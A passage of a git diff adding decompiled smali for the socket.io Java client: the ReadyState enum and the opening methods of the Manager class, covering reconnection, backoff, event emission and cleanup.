+.field public static final enum CLOSED:Lio/socket/client/Manager$ReadyState;
+
+.field public static final enum OPEN:Lio/socket/client/Manager$ReadyState;
+
+.field public static final enum OPENING:Lio/socket/client/Manager$ReadyState;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 5
+
+ .line 25
+ new-instance v0, Lio/socket/client/Manager$ReadyState;
+
+ const/4 v1, 0x0
+
+ const-string v2, "CLOSED"
+
+ invoke-direct {v0, v2, v1}, Lio/socket/client/Manager$ReadyState;->(Ljava/lang/String;I)V
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ new-instance v0, Lio/socket/client/Manager$ReadyState;
+
+ const/4 v2, 0x1
+
+ const-string v3, "OPENING"
+
+ invoke-direct {v0, v3, v2}, Lio/socket/client/Manager$ReadyState;->(Ljava/lang/String;I)V
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ new-instance v0, Lio/socket/client/Manager$ReadyState;
+
+ const/4 v3, 0x2
+
+ const-string v4, "OPEN"
+
+ invoke-direct {v0, v4, v3}, Lio/socket/client/Manager$ReadyState;->(Ljava/lang/String;I)V
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ .line 24
+ const/4 v0, 0x3
+
+ new-array v0, v0, [Lio/socket/client/Manager$ReadyState;
+
+ sget-object v4, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v4, v0, v1
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v1, v0, v2
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v1, v0, v3
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->$VALUES:[Lio/socket/client/Manager$ReadyState;
+
+ return-void
+.end method
+
+.method private constructor (Ljava/lang/String;I)V
+ .locals 0
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "()V"
+ }
+ .end annotation
+
+ .line 24
+ invoke-direct {p0, p1, p2}, Ljava/lang/Enum;->(Ljava/lang/String;I)V
+
+ return-void
+.end method
+
+.method public static valueOf(Ljava/lang/String;)Lio/socket/client/Manager$ReadyState;
+ .locals 1
+ .param p0, "name" # Ljava/lang/String;
+
+ .line 24
+ const-class v0, Lio/socket/client/Manager$ReadyState;
+
+ invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/Manager$ReadyState;
+
+ return-object v0
+.end method
+
+.method public static values()[Lio/socket/client/Manager$ReadyState;
+ .locals 1
+
+ .line 24
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->$VALUES:[Lio/socket/client/Manager$ReadyState;
+
+ invoke-virtual {v0}, [Lio/socket/client/Manager$ReadyState;->clone()Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, [Lio/socket/client/Manager$ReadyState;
+
+ return-object v0
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager.smali
new file mode 100644
index 0000000..e03da7e
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager.smali
@@ -0,0 +1,1773 @@
+.class public Lio/socket/client/Manager;
+.super Lio/socket/emitter/Emitter;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lio/socket/client/Manager$Options;,
+ Lio/socket/client/Manager$Engine;,
+ Lio/socket/client/Manager$OpenCallback;,
+ Lio/socket/client/Manager$ReadyState;
+ }
+.end annotation
+
+
+# static fields
+.field public static final EVENT_CLOSE:Ljava/lang/String; = "close"
+
+.field public static final EVENT_CONNECT_ERROR:Ljava/lang/String; = "connect_error"
+
+.field public static final EVENT_CONNECT_TIMEOUT:Ljava/lang/String; = "connect_timeout"
+
+.field public static final EVENT_ERROR:Ljava/lang/String; = "error"
+
+.field public static final EVENT_OPEN:Ljava/lang/String; = "open"
+
+.field public static final EVENT_PACKET:Ljava/lang/String; = "packet"
+
+.field public static final EVENT_PING:Ljava/lang/String; = "ping"
+
+.field public static final EVENT_PONG:Ljava/lang/String; = "pong"
+
+.field public static final EVENT_RECONNECT:Ljava/lang/String; = "reconnect"
+
+.field public static final EVENT_RECONNECTING:Ljava/lang/String; = "reconnecting"
+
+.field public static final EVENT_RECONNECT_ATTEMPT:Ljava/lang/String; = "reconnect_attempt"
+
+.field public static final EVENT_RECONNECT_ERROR:Ljava/lang/String; = "reconnect_error"
+
+.field public static final EVENT_RECONNECT_FAILED:Ljava/lang/String; = "reconnect_failed"
+
+.field public static final EVENT_TRANSPORT:Ljava/lang/String; = "transport"
+
+.field static defaultHostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+.field static defaultSSLContext:Ljavax/net/ssl/SSLContext;
+
+.field private static final logger:Ljava/util/logging/Logger;
+
+
+# instance fields
+.field private _randomizationFactor:D
+
+.field private _reconnection:Z
+
+.field private _reconnectionAttempts:I
+
+.field private _reconnectionDelay:J
+
+.field private _reconnectionDelayMax:J
+
+.field private _timeout:J
+
+.field private backoff:Lio/socket/backo/Backoff;
+
+.field private connecting:Ljava/util/Set;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/Set<",
+ "Lio/socket/client/Socket;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field private decoder:Lio/socket/parser/Parser$Decoder;
+
+.field private encoder:Lio/socket/parser/Parser$Encoder;
+
+.field private encoding:Z
+
+.field engine:Lio/socket/engineio/client/Socket;
+
+.field private lastPing:Ljava/util/Date;
+
+.field nsps:Ljava/util/concurrent/ConcurrentHashMap;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/concurrent/ConcurrentHashMap<",
+ "Ljava/lang/String;",
+ "Lio/socket/client/Socket;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field private opts:Lio/socket/client/Manager$Options;
+
+.field private packetBuffer:Ljava/util/List;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/List<",
+ "Lio/socket/parser/Packet;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field readyState:Lio/socket/client/Manager$ReadyState;
+
+.field private reconnecting:Z
+
+.field private skipReconnect:Z
+
+.field private subs:Ljava/util/Queue;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/Queue<",
+ "Lio/socket/client/On$Handle;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field private uri:Ljava/net/URI;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .line 22
+ const-class v0, Lio/socket/client/Manager;
+
+ invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v0}, Ljava/util/logging/Logger;->getLogger(Ljava/lang/String;)Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ sput-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 1
+
+ .line 108
+ const/4 v0, 0x0
+
+ invoke-direct {p0, v0, v0}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 109
+ return-void
+.end method
+
+.method public constructor (Lio/socket/client/Manager$Options;)V
+ .locals 1
+ .param p1, "opts" # Lio/socket/client/Manager$Options;
+
+ .line 116
+ const/4 v0, 0x0
+
+ invoke-direct {p0, v0, p1}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 117
+ return-void
+.end method
+
+.method public constructor (Ljava/net/URI;)V
+ .locals 1
+ .param p1, "uri" # Ljava/net/URI;
+
+ .line 112
+ const/4 v0, 0x0
+
+ invoke-direct {p0, p1, v0}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 113
+ return-void
+.end method
+
+.method public constructor (Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+ .locals 5
+ .param p1, "uri" # Ljava/net/URI;
+ .param p2, "opts" # Lio/socket/client/Manager$Options;
+
+ .line 119
+ invoke-direct {p0}, Lio/socket/emitter/Emitter;->()V
+
+ .line 91
+ new-instance v0, Ljava/util/HashSet;
+
+ invoke-direct {v0}, Ljava/util/HashSet;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ .line 120
+ if-nez p2, :cond_0
+
+ .line 121
+ new-instance v0, Lio/socket/client/Manager$Options;
+
+ invoke-direct {v0}, Lio/socket/client/Manager$Options;->()V
+
+ move-object p2, v0
+
+ .line 123
+ :cond_0
+ iget-object v0, p2, Lio/socket/client/Manager$Options;->path:Ljava/lang/String;
+
+ if-nez v0, :cond_1
+
+ .line 124
+ const-string v0, "/socket.io"
+
+ iput-object v0, p2, Lio/socket/client/Manager$Options;->path:Ljava/lang/String;
+
+ .line 126
+ :cond_1
+ iget-object v0, p2, Lio/socket/client/Manager$Options;->sslContext:Ljavax/net/ssl/SSLContext;
+
+ if-nez v0, :cond_2
+
+ .line 127
+ sget-object v0, Lio/socket/client/Manager;->defaultSSLContext:Ljavax/net/ssl/SSLContext;
+
+ iput-object v0, p2, Lio/socket/client/Manager$Options;->sslContext:Ljavax/net/ssl/SSLContext;
+
+ .line 129
+ :cond_2
+ iget-object v0, p2, Lio/socket/client/Manager$Options;->hostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ if-nez v0, :cond_3
+
+ .line 130
+ sget-object v0, Lio/socket/client/Manager;->defaultHostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ iput-object v0, p2, Lio/socket/client/Manager$Options;->hostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ .line 132
+ :cond_3
+ iput-object p2, p0, Lio/socket/client/Manager;->opts:Lio/socket/client/Manager$Options;
+
+ .line 133
+ new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ .line 134
+ new-instance v0, Ljava/util/LinkedList;
+
+ invoke-direct {v0}, Ljava/util/LinkedList;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ .line 135
+ iget-boolean v0, p2, Lio/socket/client/Manager$Options;->reconnection:Z
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->reconnection(Z)Lio/socket/client/Manager;
+
+ .line 136
+ iget v0, p2, Lio/socket/client/Manager$Options;->reconnectionAttempts:I
+
+ if-eqz v0, :cond_4
+
+ iget v0, p2, Lio/socket/client/Manager$Options;->reconnectionAttempts:I
+
+ goto :goto_0
+
+ :cond_4
+ const v0, 0x7fffffff
+
+ :goto_0
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->reconnectionAttempts(I)Lio/socket/client/Manager;
+
+ .line 137
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelay:J
+
+ const-wide/16 v2, 0x0
+
+ cmp-long v4, v0, v2
+
+ if-eqz v4, :cond_5
+
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelay:J
+
+ goto :goto_1
+
+ :cond_5
+ const-wide/16 v0, 0x3e8
+
+ :goto_1
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->reconnectionDelay(J)Lio/socket/client/Manager;
+
+ .line 138
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelayMax:J
+
+ cmp-long v4, v0, v2
+
+ if-eqz v4, :cond_6
+
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelayMax:J
+
+ goto :goto_2
+
+ :cond_6
+ const-wide/16 v0, 0x1388
+
+ :goto_2
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->reconnectionDelayMax(J)Lio/socket/client/Manager;
+
+ .line 139
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->randomizationFactor:D
+
+ const-wide/16 v2, 0x0
+
+ cmpl-double v4, v0, v2
+
+ if-eqz v4, :cond_7
+
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->randomizationFactor:D
+
+ goto :goto_3
+
+ :cond_7
+ const-wide/high16 v0, 0x3fe0000000000000L # 0.5
+
+ :goto_3
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->randomizationFactor(D)Lio/socket/client/Manager;
+
+ .line 140
+ new-instance v0, Lio/socket/backo/Backoff;
+
+ invoke-direct {v0}, Lio/socket/backo/Backoff;->()V
+
+ .line 141
+ invoke-virtual {p0}, Lio/socket/client/Manager;->reconnectionDelay()J
+
+ move-result-wide v1
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/backo/Backoff;->setMin(J)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ .line 142
+ invoke-virtual {p0}, Lio/socket/client/Manager;->reconnectionDelayMax()J
+
+ move-result-wide v1
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/backo/Backoff;->setMax(J)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ .line 143
+ invoke-virtual {p0}, Lio/socket/client/Manager;->randomizationFactor()D
+
+ move-result-wide v1
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/backo/Backoff;->setJitter(D)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ .line 144
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->timeout:J
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->timeout(J)Lio/socket/client/Manager;
+
+ .line 145
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 146
+ iput-object p1, p0, Lio/socket/client/Manager;->uri:Ljava/net/URI;
+
+ .line 147
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->encoding:Z
+
+ .line 148
+ new-instance v0, Ljava/util/ArrayList;
+
+ invoke-direct {v0}, Ljava/util/ArrayList;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ .line 149
+ new-instance v0, Lio/socket/parser/Parser$Encoder;
+
+ invoke-direct {v0}, Lio/socket/parser/Parser$Encoder;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->encoder:Lio/socket/parser/Parser$Encoder;
+
+ .line 150
+ new-instance v0, Lio/socket/parser/Parser$Decoder;
+
+ invoke-direct {v0}, Lio/socket/parser/Parser$Decoder;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ .line 151
+ return-void
+.end method
+
+.method static synthetic access$000()Ljava/util/logging/Logger;
+ .locals 1
+
+ .line 20
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ return-object v0
+.end method
+
+.method static synthetic access$100(Lio/socket/client/Manager;)Ljava/net/URI;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->uri:Ljava/net/URI;
+
+ return-object v0
+.end method
+
+.method static synthetic access$1000(Lio/socket/client/Manager;Ljava/lang/String;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/String;
+
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->ondata(Ljava/lang/String;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1100(Lio/socket/client/Manager;[B)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # [B
+
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->ondata([B)V
+
+ return-void
+.end method
+
+.method static synthetic access$1200(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onping()V
+
+ return-void
+.end method
+
+.method static synthetic access$1300(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onpong()V
+
+ return-void
+.end method
+
+.method static synthetic access$1400(Lio/socket/client/Manager;Ljava/lang/Exception;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/Exception;
+
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->onerror(Ljava/lang/Exception;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1500(Lio/socket/client/Manager;Ljava/lang/String;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/String;
+
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->onclose(Ljava/lang/String;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1600(Lio/socket/client/Manager;Lio/socket/parser/Packet;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Lio/socket/parser/Packet;
+
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->ondecoded(Lio/socket/parser/Packet;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1700(Lio/socket/client/Manager;)Ljava/util/Set;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ return-object v0
+.end method
+
+.method static synthetic access$1802(Lio/socket/client/Manager;Z)Z
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Z
+
+ .line 20
+ iput-boolean p1, p0, Lio/socket/client/Manager;->encoding:Z
+
+ return p1
+.end method
+
+.method static synthetic access$1900(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->processPacketQueue()V
+
+ return-void
+.end method
+
+.method static synthetic access$200(Lio/socket/client/Manager;)Lio/socket/client/Manager$Options;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->opts:Lio/socket/client/Manager$Options;
+
+ return-object v0
+.end method
+
+.method static synthetic access$2000(Lio/socket/client/Manager;)Lio/socket/backo/Backoff;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ return-object v0
+.end method
+
+.method static synthetic access$2102(Lio/socket/client/Manager;Z)Z
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Z
+
+ .line 20
+ iput-boolean p1, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ return p1
+.end method
+
+.method static synthetic access$2200(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->reconnect()V
+
+ return-void
+.end method
+
+.method static synthetic access$2300(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onreconnect()V
+
+ return-void
+.end method
+
+.method static synthetic access$300(Lio/socket/client/Manager;)Z
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ return v0
+.end method
+
+.method static synthetic access$302(Lio/socket/client/Manager;Z)Z
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Z
+
+ .line 20
+ iput-boolean p1, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ return p1
+.end method
+
+.method static synthetic access$400(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onopen()V
+
+ return-void
+.end method
+
+.method static synthetic access$500(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ return-void
+.end method
+
+.method static synthetic access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/String;
+ .param p2, "x2" # [Ljava/lang/Object;
+
+ .line 20
+ invoke-direct {p0, p1, p2}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ return-void
+.end method
+
+.method static synthetic access$700(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->maybeReconnectOnOpen()V
+
+ return-void
+.end method
+
+.method static synthetic access$800(Lio/socket/client/Manager;)J
+ .locals 2
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-wide v0, p0, Lio/socket/client/Manager;->_timeout:J
+
+ return-wide v0
+.end method
+
+.method static synthetic access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ return-object v0
+.end method
+
+.method private cleanup()V
+ .locals 2
+
+ .line 488
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v1, "cleanup"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 491
+ :goto_0
+ iget-object v0, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ invoke-interface {v0}, Ljava/util/Queue;->poll()Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/On$Handle;
+
+ move-object v1, v0
+
+ .local v1, "sub":Lio/socket/client/On$Handle;
+ if-eqz v0, :cond_0
+
+ invoke-interface {v1}, Lio/socket/client/On$Handle;->destroy()V
+
+ goto :goto_0
+
+ .line 493
+ :cond_0
+ iget-object v0, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ invoke-interface {v0}, Ljava/util/List;->clear()V
+
+ .line 494
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->encoding:Z
+
+ .line 495
+ const/4 v0, 0x0
+
+ iput-object v0, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ .line 497
+ iget-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ invoke-virtual {v0}, Lio/socket/parser/Parser$Decoder;->destroy()V
+
+ .line 498
+ return-void
+.end method
+
+.method private varargs emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "event" # Ljava/lang/String;
+ .param p2, "args" # [Ljava/lang/Object;
+
+ .line 154
+ invoke-virtual {p0, p1, p2}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 155
+ iget-object v0, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v0}, Ljava/util/concurrent/ConcurrentHashMap;->values()Ljava/util/Collection;
+
+ move-result-object v0
+
+ invoke-interface {v0}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
+
+ move-result-object v0
+
+ :goto_0
+ invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
+
+ move-result v1
+
+ if-eqz v1, :cond_0
+
+ invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
+
+ move-result-object v1
+
+ check-cast v1, Lio/socket/client/Socket;
+
+ .line 156
+ .local v1, "socket":Lio/socket/client/Socket;
+ invoke-virtual {v1, p1, p2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 157
+ .end local v1 # "socket":Lio/socket/client/Socket;
+ goto :goto_0
+
+ .line 158
+ :cond_0
+ return-void
+.end method
+
+.method private maybeReconnectOnOpen()V
+ .locals 1
+
+ .line 234
+ iget-boolean v0, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ if-nez v0, :cond_0
+
+ iget-boolean v0, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ if-eqz v0, :cond_0
+
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ .line 235
+ invoke-direct {p0}, Lio/socket/client/Manager;->reconnect()V
+
+ .line 237
+ :cond_0
+ return-void
+.end method
+
+.method private onclose(Ljava/lang/String;)V
+ .locals 2
+ .param p1, "reason" # Ljava/lang/String;
+
+ .line 517
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v1, "onclose"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 518
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ .line 519
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 520
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 521
+ const/4 v0, 0x1
+
+ new-array v0, v0, [Ljava/lang/Object;
+
+ const/4 v1, 0x0
+
+ aput-object p1, v0, v1
+
+ const-string v1, "close"
+
+ invoke-virtual {p0, v1, v0}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 523
+ iget-boolean v0, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ if-eqz v0, :cond_0
+
+ iget-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ if-nez v0, :cond_0
+
+ .line 524
+ invoke-direct {p0}, Lio/socket/client/Manager;->reconnect()V
+
+ .line 526
+ :cond_0
+ return-void
+.end method
+
+.method private ondata(Ljava/lang/String;)V
+ .locals 1
+ .param p1, "data" # Ljava/lang/String;
+
+ .line 399
+ iget-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ invoke-virtual {v0, p1}, Lio/socket/parser/Parser$Decoder;->add(Ljava/lang/String;)V
+
+ .line 400
+ return-void
+.end method
+
+.method private ondata([B)V
+ .locals 1
+ .param p1, "data" # [B
+
+ .line 403
+ iget-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ invoke-virtual {v0, p1}, Lio/socket/parser/Parser$Decoder;->add([B)V
+
+ .line 404
+ return-void
+.end method
+
+.method private ondecoded(Lio/socket/parser/Packet;)V
+ .locals 2
+ .param p1, "packet" # Lio/socket/parser/Packet;
+
+ .line 407
+ const/4 v0, 0x1
+
+ new-array v0, v0, [Ljava/lang/Object;
+
+ const/4 v1, 0x0
+
+ aput-object p1, v0, v1
+
+ const-string v1, "packet"
+
+ invoke-virtual {p0, v1, v0}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 408
+ return-void
+.end method
+
+.method private onerror(Ljava/lang/Exception;)V
+ .locals 3
+ .param p1, "err" # Ljava/lang/Exception;
+
+ .line 411
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ sget-object v1, Ljava/util/logging/Level;->FINE:Ljava/util/logging/Level;
+
+ const-string v2, "error"
+
+ invoke-virtual {v0, v1, v2, p1}, Ljava/util/logging/Logger;->log(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V
+
+ .line 412
+ const/4 v0, 0x1
+
+ new-array v0, v0, [Ljava/lang/Object;
+
+ const/4 v1, 0x0
+
+ aput-object p1, v0, v1
+
+ invoke-direct {p0, v2, v0}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 413
+ return-void
+.end method
+
+.method private onopen()V
+ .locals 5
+
+ .line 337
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v1, "open"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 339
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ .line 341
